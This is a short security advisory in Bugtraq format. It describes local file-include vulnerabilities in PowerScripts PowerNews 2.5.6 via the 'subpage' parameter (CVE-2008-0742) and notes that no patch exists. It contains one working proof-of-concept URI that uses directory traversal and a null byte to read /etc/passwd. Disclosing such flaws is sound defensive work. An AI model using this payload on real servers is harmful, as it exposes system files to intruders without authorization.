PowerScripts PowerNews 'subpage' Parameter Multiple Local File Include Vulnerabilities

BID:27688

Info

PowerScripts PowerNews 'subpage' Parameter Multiple Local File Include Vulnerabilities

Bugtraq ID: 27688
Class: Input Validation Error
CVE: CVE-2008-0742
Remote: Yes
Local: No
Published: Feb 08 2008 12:00AM
Updated: May 07 2015 05:33PM
Credit: Alexandr Polyakov and Stas Svistunovich discovered these vulnerabilities.
Vulnerable: PowerScripts.org PowerNews 2.5.6
Not Vulnerable:

Discussion

PowerScripts PowerNews 'subpage' Parameter Multiple Local File Include Vulnerabilities

PowerScripts PowerNews is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

Exploiting these issues may allow an attacker to access potentially sensitive information and execute arbitrary local scripts in the context of the affected application.

PowerNews 2.5.6 is vulnerable; other versions may also be affected.

Exploit / POC

PowerScripts PowerNews 'subpage' Parameter Multiple Local File Include Vulnerabilities

Attackers may exploit these issues through a browser.

The following proof-of-concept URIs are available:

http://example.com/[installdir]/pnadmin/categories.inc.php?subpage=../../../../../../../../../../../../../etc/passwd%00

Solution / Fix

PowerScripts PowerNews 'subpage' Parameter Multiple Local File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

PowerScripts PowerNews 'subpage' Parameter Multiple Local File Include Vulnerabilities

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